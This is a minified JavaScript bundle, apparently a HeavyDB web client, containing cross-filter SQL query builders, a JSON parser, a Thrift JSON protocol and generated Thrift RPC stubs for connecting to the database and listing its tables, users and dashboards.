y=this.cubeSlice1DCategorical(m,o,d,u,f);a.push(y),c.set(m,y)}),Promise.all(a).then(()=>{console.info(`Build index: ${performance.now()-s}ms`)})}return c}async cubeSlice1DCategorical(t,n,i,s,o){let c,d;const f=new Map(n);t instanceof Tl||t instanceof ca&&f.delete(t.dimension);const u=[...f.values()].join(" AND ");let a="",m=l=>l;const y=`CASE WHEN ${i.where} - THEN ${i.select} - ELSE -1 END AS "keyActive", - count(*) AS cnt`;if(t instanceof Tl)d=Ss.allocCounts(o),c=Ss.allocCounts(1,[1]),a=`SELECT ${y} - FROM ${this.table} - ${u?`WHERE ${u}`:""} - GROUP BY "keyActive"`;else if(t instanceof ca){let l,b;if(t.dimension.type==="continuous"){const L=t.dimension.binConfig;b=n2(L),l=this.binSQL(t.dimension,t.dimension.binConfig)}else m=su(t.dimension.range),b=Wg(t.dimension.range),l=this.binSQLCategorical(t.dimension,t.dimension.range);d=Ss.allocCounts(o*b,[o,b]),c=Ss.allocCounts(b,[b]),a=`SELECT ${y}, - ${l.select} AS key - FROM ${this.table} - WHERE ${l.where} ${u?`AND ${u}`:""} - GROUP BY "keyActive", key`}else throw Error("no 2d view here");const p=await this.query(a);if(t instanceof Tl)for(const{keyActive:l,cnt:b}of p){const L=s(l);L>=0&&d.set(L,b),c.increment([0],b)}else if(t instanceof ca)for(const{keyActive:l,key:b,cnt:L}of p){const E=s(l),S=m(b);E>=0&&d.set(E,S,L),c.increment([S],L)}else throw Error();return{noFilter:c,filter:d}}async cubeSlice1DContinuous(t,n,i,s){let o,c;const d=new Map(n);t instanceof Tl||t instanceof ca&&d.delete(t.dimension);const f=[...d.values()].join(" AND ");let u,a=p=>p;const m=`CASE - WHEN ${i.where} - THEN ${i.select} - ELSE -1 END AS "keyActive", - count(*) AS cnt`;if(t instanceof Tl)c=Ss.allocCumulative(s),o=Ss.allocCounts(1,[1]),u=`SELECT ${m} - FROM ${this.table} - ${f?`WHERE ${f}`:""} - GROUP BY "keyActive"`;else if(t instanceof ca){let p,l;if(t.dimension.type==="continuous"){const b=t.dimension.binConfig;p=this.binSQL(t.dimension,b),l=n2(b)}else p=this.binSQLCategorical(t.dimension,t.dimension.range),l=Wg(t.dimension.range),a=su(t.dimension.range);c=Ss.allocCumulative(s*l,[s,l]),o=Ss.allocCounts(l,[l]),u=`SELECT ${m}, - ${p.select} AS key - FROM ${this.table} - WHERE ${p.where} ${f?`AND ${f}`:""} - GROUP BY "keyActive", key`}else throw Error("only 0D and 1D views");const y=await this.query(u);if(t instanceof Tl){for(const{keyActive:p,cnt:l}of y)p>=0&&c.set(p+1,l),o.increment([0],l);c.cumulativeSum()}else if(t instanceof ca){for(const{keyActive:p,key:l,cnt:b}of y){const L=a(l);p>=0&&c.set(p+1,L,b),o.increment([L],b)}for(let p=0;p{s!==null&&(n+=`'${s}', `)}),n+=")",t.findIndex(s=>s===null)!==-1&&(n+=` OR "${e}" IS NULL`),n}class Gle extends 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u=f(8764).Buffer,a=f(135),m=c.exports={},y=Math.pow(2,24),p=Math.pow(2,31),l=Math.pow(2,32),b=Math.pow(10,11);m.toDecimalString=function(L){var E=L.buffer,S=L.offset;if(!E[S]&&!(E[S+1]&224)||!~E[S]&&!~(E[S+1]&224))return L.toString();var x=E[S]&128;if(x){for(var F=!1,k=new u(8),M=7;M>=0;--M)k[M]=~E[S+M]+(F?0:1)&255,F|=E[S+M];E=k}var O=E[S+1]+(E[S]<<8),C=E[S+7]+(E[S+6]<<8)+(E[S+5]<<16)+E[S+4]*y+(E[S+3]+(E[S+2]<<8))*l+O*74976710656,P=Math.floor(C/b)+O*2814;return C=("00000000000"+String(C%b)).slice(-11),(x?"-":"")+String(P)+C},m.fromDecimalString=function(L){var E=L.charAt(0)==="-";if(L.length<(E?17:16))return new a(+L);if(L.length>(E?20:19))throw new RangeError("Too many digits for Int64: "+L);var S=+L.slice(E?1:0,-15),x=+L.slice(-15)+S*2764472320,F=Math.floor(x/l)+S*232830;if(x=x%l,F>=p&&!(E&&F==p&&x==0))throw new RangeError("The magnitude is too large for Int64.");return E&&(F=~F,x===0?F=F+1&4294967295:x=~x+1,F=2147483648|F),new a(F,x)}},6502:(c,d,f)=>{var u=f(135);f(5197),c.exports=function(){var a,m,y={'"':'"',"\\":"\\","/":"/",b:"\b",f:"\f",n:` -`,r:"\r",t:" "},p,l=function(O){throw new SyntaxError(O)},b=function(O){return O&&O!==m&&l("Expected '"+O+"' instead of '"+m+"'"),m=p.charAt(a),a+=1,m},L=function(){var O,C="";for(m==="-"&&(C="-",b("-"));m>="0"&&m<="9";)C+=m,b();if(m===".")for(C+=".";b()&&m>="0"&&m<="9";)C+=m;if(m==="e"||m==="E")for(C+=m,b(),(m==="-"||m==="+")&&(C+=m,b());m>="0"&&m<="9";)C+=m,b();if(O=+C,!isFinite(O))l("Bad number");else return O>=u.MAX_INT||O<=u.MIN_INT?C:O},E=function(){var O,C,P="",j;if(m==='"')for(;b();){if(m==='"')return b(),P;if(m==="\\")if(b(),m==="u"){for(j=0,C=0;C<4&&(O=parseInt(b(),16),!!isFinite(O));C+=1)j=j*16+O;P+=String.fromCharCode(j)}else if(typeof y[m]=="string")P+=y[m];else break;else P+=m}l("Bad string")},S=function(){for(;m&&m<=" ";)b()},x=function(){switch(m){case"t":return b("t"),b("r"),b("u"),b("e"),!0;case"f":return b("f"),b("a"),b("l"),b("s"),b("e"),!1;case"n":return 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L(E){this.tstack=[],this.tpos=[],this.trans=E}L.Type={},L.Type[y.BOOL]='"tf"',L.Type[y.BYTE]='"i8"',L.Type[y.I16]='"i16"',L.Type[y.I32]='"i32"',L.Type[y.I64]='"i64"',L.Type[y.DOUBLE]='"dbl"',L.Type[y.STRUCT]='"rec"',L.Type[y.STRING]='"str"',L.Type[y.MAP]='"map"',L.Type[y.LIST]='"lst"',L.Type[y.SET]='"set"',L.RType={},L.RType.tf=y.BOOL,L.RType.i8=y.BYTE,L.RType.i16=y.I16,L.RType.i32=y.I32,L.RType.i64=y.I64,L.RType.dbl=y.DOUBLE,L.RType.rec=y.STRUCT,L.RType.str=y.STRING,L.RType.map=y.MAP,L.RType.lst=y.LIST,L.RType.set=y.SET,L.Version=1,L.prototype.flush=function(){return this.writeToTransportIfStackIsFlushable(),this.trans.flush()},L.prototype.writeToTransportIfStackIsFlushable=function(){this.tstack.length===1&&this.trans.write(this.tstack.pop())},L.prototype.writeMessageBegin=function(E,S,x){this.tstack.push([L.Version,'"'+E+'"',S,x])},L.prototype.writeMessageEnd=function(){var E=this.tstack.pop();this.wobj=this.tstack.pop(),this.wobj.push(E),this.wbuf="["+this.wobj.join(",")+"]",this.trans.write(this.wbuf)},L.prototype.writeStructBegin=function(E){this.tpos.push(this.tstack.length),this.tstack.push({})},L.prototype.writeStructEnd=function(){var E=this.tpos.pop(),S=this.tstack[E],x="{",F=!0;for(var k in S)F?F=!1:x+=",",x+=k+":"+S[k];x+="}",this.tstack[E]=x,this.writeToTransportIfStackIsFlushable()},L.prototype.writeFieldBegin=function(E,S,x){this.tpos.push(this.tstack.length),this.tstack.push({fieldId:'"'+x+'"',fieldType:L.Type[S]})},L.prototype.writeFieldEnd=function(){var E=this.tstack.pop(),S=this.tstack.pop();":"+E==":[object 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this.dashboard_ids)this.dashboard_ids.hasOwnProperty(w)&&(w=this.dashboard_ids[w],r.writeI32(w));r.writeListEnd(),r.writeFieldEnd()}r.writeFieldStop(),r.writeStructEnd()}},P3=class{constructor(r){if(this.e=null,r instanceof l.TDBException){this.e=r;return}r&&r.e!==void 0&&r.e!==null&&(this.e=r.e)}read(r){for(r.readStructBegin();;){const w=r.readFieldBegin(),g=w.ftype,h=w.fid;if(g==a.Type.STOP)break;switch(h){case 1:g==a.Type.STRUCT?(this.e=new l.TDBException,this.e.read(r)):r.skip(g);break;case 0:r.skip(g);break;default:r.skip(g)}r.readFieldEnd()}r.readStructEnd()}write(r){r.writeStructBegin("Heavy_delete_dashboards_result"),this.e!==null&&this.e!==void 0&&(r.writeFieldBegin("e",a.Type.STRUCT,1),this.e.write(r),r.writeFieldEnd()),r.writeFieldStop(),r.writeStructEnd()}},Px=class{constructor(r){this.session=null,this.dashboard_id=null,this.groups=null,this.objects=null,this.permissions=null,this.grant_role=!1,r&&(r.session!==void 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v=0;v<_;++v){let B=null;B=r.readString(),this.objects.push(B)}r.readListEnd()}else r.skip(g);break;case 5:g==a.Type.STRUCT?(this.permissions=new l.TDashboardPermissions,this.permissions.read(r)):r.skip(g);break;case 6:g==a.Type.BOOL?this.grant_role=r.readBool():r.skip(g);break;default:r.skip(g)}r.readFieldEnd()}r.readStructEnd()}write(r){if(r.writeStructBegin("Heavy_share_dashboard_args"),this.session!==null&&this.session!==void 0&&(r.writeFieldBegin("session",a.Type.STRING,1),r.writeString(this.session),r.writeFieldEnd()),this.dashboard_id!==null&&this.dashboard_id!==void 0&&(r.writeFieldBegin("dashboard_id",a.Type.I32,2),r.writeI32(this.dashboard_id),r.writeFieldEnd()),this.groups!==null&&this.groups!==void 0){r.writeFieldBegin("groups",a.Type.LIST,3),r.writeListBegin(a.Type.STRING,this.groups.length);for(let w in this.groups)this.groups.hasOwnProperty(w)&&(w=this.groups[w],r.writeString(w));r.writeListEnd(),r.writeFieldEnd()}if(this.objects!==null&&this.objects!==void 0){r.writeFieldBegin("objects",a.Type.LIST,4),r.writeListBegin(a.Type.STRING,this.objects.length);for(let w in this.objects)this.objects.hasOwnProperty(w)&&(w=this.objects[w],r.writeString(w));r.writeListEnd(),r.writeFieldEnd()}this.permissions!==null&&this.permissions!==void 0&&(r.writeFieldBegin("permissions",a.Type.STRUCT,5),this.permissions.write(r),r.writeFieldEnd()),this.grant_role!==null&&this.grant_role!==void 0&&(r.writeFieldBegin("grant_role",a.Type.BOOL,6),r.writeBool(this.grant_role),r.writeFieldEnd()),r.writeFieldStop(),r.writeStructEnd()}},D3=class{constructor(r){if(this.e=null,r instanceof l.TDBException){this.e=r;return}r&&r.e!==void 0&&r.e!==null&&(this.e=r.e)}read(r){for(r.readStructBegin();;){const w=r.readFieldBegin(),g=w.ftype,h=w.fid;if(g==a.Type.STOP)break;switch(h){case 1:g==a.Type.STRUCT?(this.e=new l.TDBException,this.e.read(r)):r.skip(g);break;case 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0&&(r.writeFieldBegin("is_final_subquery_result",a.Type.BOOL,5),r.writeBool(this.is_final_subquery_result),r.writeFieldEnd()),r.writeFieldStop(),r.writeStructEnd()}},og=class{constructor(r){if(this.e=null,r instanceof l.TDBException){this.e=r;return}r&&r.e!==void 0&&r.e!==null&&(this.e=r.e)}read(r){for(r.readStructBegin();;){const w=r.readFieldBegin(),g=w.ftype,h=w.fid;if(g==a.Type.STOP)break;switch(h){case 1:g==a.Type.STRUCT?(this.e=new l.TDBException,this.e.read(r)):r.skip(g);break;case 0:r.skip(g);break;default:r.skip(g)}r.readFieldEnd()}r.readStructEnd()}write(r){r.writeStructBegin("Heavy_broadcast_serialized_rows_result"),this.e!==null&&this.e!==void 0&&(r.writeFieldBegin("e",a.Type.STRUCT,1),this.e.write(r),r.writeFieldEnd()),r.writeFieldStop(),r.writeStructEnd()}},ok=class{constructor(r){this.session=null,this.widget_id=null,this.node_idx=null,this.vega_json=null,r&&(r.session!==void 0&&r.session!==null&&(this.session=r.session),r.widget_id!==void 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l.TDBException,this.e.read(r)):r.skip(g);break;default:r.skip(g)}r.readFieldEnd()}r.readStructEnd()}write(r){r.writeStructBegin("Heavy_start_render_query_result"),this.success!==null&&this.success!==void 0&&(r.writeFieldBegin("success",a.Type.STRUCT,0),this.success.write(r),r.writeFieldEnd()),this.e!==null&&this.e!==void 0&&(r.writeFieldBegin("e",a.Type.STRUCT,1),this.e.write(r),r.writeFieldEnd()),r.writeFieldStop(),r.writeStructEnd()}},lk=class{constructor(r){this.pending_render=null,this.merged_data=null,r&&(r.pending_render!==void 0&&r.pending_render!==null&&(this.pending_render=new l.TPendingRenderQuery(r.pending_render)),r.merged_data!==void 0&&r.merged_data!==null&&(this.merged_data=a.copyMap(r.merged_data,[a.copyMap,a.copyMap,a.copyMap,a.copyList,l.TRenderDatum])))}read(r){for(r.readStructBegin();;){const w=r.readFieldBegin(),g=w.ftype,h=w.fid;if(g==a.Type.STOP)break;switch(h){case 1:g==a.Type.STRUCT?(this.pending_render=new l.TPendingRenderQuery,this.pending_render.read(r)):r.skip(g);break;case 2:if(g==a.Type.MAP){this.merged_data={};const _=r.readMapBegin().size||0;for(let v=0;v<_;++v){let B=null,Q=null;B=r.readString(),Q={};const $e=r.readMapBegin().size||0;for(let sn=0;sn<$e;++sn){let fo=null,C6=null;fo=r.readString(),C6={};const LY=r.readMapBegin().size||0;for(let xk=0;xk{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_connect(w,g,h)})}send_connect(w,g,h){const T=new this.pClass(this.output),_={user:w,passwd:g,dbname:h},v=new b(_);try{return T.writeMessageBegin("connect",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_connect(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new L;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("connect failed: unknown result")}krb5_connect(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_krb5_connect(w,g)})}send_krb5_connect(w,g){const h=new this.pClass(this.output),T={inputToken:w,dbname:g},_=new E(T);try{return h.writeMessageBegin("krb5_connect",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_krb5_connect(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new S;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("krb5_connect failed: unknown result")}disconnect(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_disconnect(w)})}send_disconnect(w){const g=new this.pClass(this.output),h={session:w},T=new x(h);try{return g.writeMessageBegin("disconnect",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_disconnect(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new F;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}switch_database(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_switch_database(w,g)})}send_switch_database(w,g){const h=new this.pClass(this.output),T={session:w,dbname:g},_=new k(T);try{return h.writeMessageBegin("switch_database",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_switch_database(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new M;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}clone_session(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_clone_session(w)})}send_clone_session(w){const g=new this.pClass(this.output),h={session:w},T=new O(h);try{return g.writeMessageBegin("clone_session",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_clone_session(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new C;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("clone_session failed: unknown result")}get_server_status(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_server_status(w)})}send_get_server_status(w){const g=new this.pClass(this.output),h={session:w},T=new P(h);try{return g.writeMessageBegin("get_server_status",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_server_status(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new j;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_server_status failed: unknown result")}get_status(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_status(w)})}send_get_status(w){const g=new this.pClass(this.output),h={session:w},T=new R(h);try{return g.writeMessageBegin("get_status",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_status(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new H;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_status failed: unknown result")}get_hardware_info(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_hardware_info(w)})}send_get_hardware_info(w){const g=new this.pClass(this.output),h={session:w},T=new z(h);try{return g.writeMessageBegin("get_hardware_info",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_hardware_info(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Y;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_hardware_info failed: unknown result")}get_tables(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_tables(w)})}send_get_tables(w){const g=new this.pClass(this.output),h={session:w},T=new $(h);try{return g.writeMessageBegin("get_tables",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_tables(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new W;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_tables failed: unknown result")}get_tables_for_database(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_tables_for_database(w,g)})}send_get_tables_for_database(w,g){const h=new this.pClass(this.output),T={session:w,database_name:g},_=new X(T);try{return h.writeMessageBegin("get_tables_for_database",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_tables_for_database(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new G;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_tables_for_database failed: unknown result")}get_physical_tables(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_physical_tables(w)})}send_get_physical_tables(w){const g=new this.pClass(this.output),h={session:w},T=new oe(h);try{return g.writeMessageBegin("get_physical_tables",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_physical_tables(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new he;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_physical_tables failed: unknown result")}get_views(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_views(w)})}send_get_views(w){const g=new this.pClass(this.output),h={session:w},T=new ie(h);try{return g.writeMessageBegin("get_views",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_views(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Oe;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_views failed: unknown result")}get_tables_meta(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_tables_meta(w)})}send_get_tables_meta(w){const g=new this.pClass(this.output),h={session:w},T=new de(h);try{return g.writeMessageBegin("get_tables_meta",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_tables_meta(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Me;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_tables_meta failed: unknown result")}get_table_details(w,g){this._seqid=this.new_seqid();const h=this;return new Promise((T,_)=>{h._reqs[h.seqid()]=(v,B)=>v?_(v):T(B),h.send_get_table_details(w,g)})}send_get_table_details(w,g){const h=new this.pClass(this.output),T={session:w,table_name:g},_=new Fe(T);try{return h.writeMessageBegin("get_table_details",a.MessageType.CALL,this.seqid()),_.write(h),h.writeMessageEnd(),this.output.flush()}catch(v){throw delete this._reqs[this.seqid()],typeof h.reset=="function"&&h.reset(),v}}recv_get_table_details(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new Ge;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_table_details failed: unknown result")}get_table_details_for_database(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_table_details_for_database(w,g,h)})}send_get_table_details_for_database(w,g,h){const T=new this.pClass(this.output),_={session:w,table_name:g,database_name:h},v=new pt(_);try{return T.writeMessageBegin("get_table_details_for_database",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_table_details_for_database(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new ht;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_table_details_for_database failed: unknown result")}get_internal_table_details(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_internal_table_details(w,g,h)})}send_get_internal_table_details(w,g,h){const T=new this.pClass(this.output),_={session:w,table_name:g,include_system_columns:h},v=new ge(_);try{return T.writeMessageBegin("get_internal_table_details",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_internal_table_details(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new V;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_internal_table_details failed: unknown result")}get_internal_table_details_for_database(w,g,h){this._seqid=this.new_seqid();const T=this;return new Promise((_,v)=>{T._reqs[T.seqid()]=(B,Q)=>B?v(B):_(Q),T.send_get_internal_table_details_for_database(w,g,h)})}send_get_internal_table_details_for_database(w,g,h){const T=new this.pClass(this.output),_={session:w,table_name:g,database_name:h},v=new q(_);try{return T.writeMessageBegin("get_internal_table_details_for_database",a.MessageType.CALL,this.seqid()),v.write(T),T.writeMessageEnd(),this.output.flush()}catch(B){throw delete this._reqs[this.seqid()],typeof T.reset=="function"&&T.reset(),B}}recv_get_internal_table_details_for_database(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new D;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_internal_table_details_for_database failed: unknown result")}get_users(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_users(w)})}send_get_users(w){const g=new this.pClass(this.output),h={session:w},T=new K(h);try{return g.writeMessageBegin("get_users",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_users(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new J;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_users failed: unknown result")}get_databases(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_get_databases(w)})}send_get_databases(w){const g=new this.pClass(this.output),h={session:w},T=new re(h);try{return g.writeMessageBegin("get_databases",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_get_databases(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new se;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_databases failed: unknown result")}get_version(){this._seqid=this.new_seqid();const w=this;return new Promise((g,h)=>{w._reqs[w.seqid()]=(T,_)=>T?h(T):g(_),w.send_get_version()})}send_get_version(){const w=new this.pClass(this.output),g=new _e;try{return w.writeMessageBegin("get_version",a.MessageType.CALL,this.seqid()),g.write(w),w.writeMessageEnd(),this.output.flush()}catch(h){throw delete this._reqs[this.seqid()],typeof w.reset=="function"&&w.reset(),h}}recv_get_version(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new be;return _.read(w),w.readMessageEnd(),_.e!==null?T(_.e):_.success!==null?T(null,_.success):T("get_version failed: unknown result")}start_heap_profile(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_start_heap_profile(w)})}send_start_heap_profile(w){const g=new this.pClass(this.output),h={session:w},T=new Ke(h);try{return g.writeMessageBegin("start_heap_profile",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete this._reqs[this.seqid()],typeof g.reset=="function"&&g.reset(),_}}recv_start_heap_profile(w,g,h){const T=this._reqs[h]||function(){};if(delete this._reqs[h],g==a.MessageType.EXCEPTION){const v=new a.TApplicationException;return v.read(w),w.readMessageEnd(),T(v)}const _=new It;if(_.read(w),w.readMessageEnd(),_.e!==null)return T(_.e);T(null)}stop_heap_profile(w){this._seqid=this.new_seqid();const g=this;return new Promise((h,T)=>{g._reqs[g.seqid()]=(_,v)=>_?T(_):h(v),g.send_stop_heap_profile(w)})}send_stop_heap_profile(w){const g=new this.pClass(this.output),h={session:w},T=new Et(h);try{return g.writeMessageBegin("stop_heap_profile",a.MessageType.CALL,this.seqid()),T.write(g),g.writeMessageEnd(),this.output.flush()}catch(_){throw delete 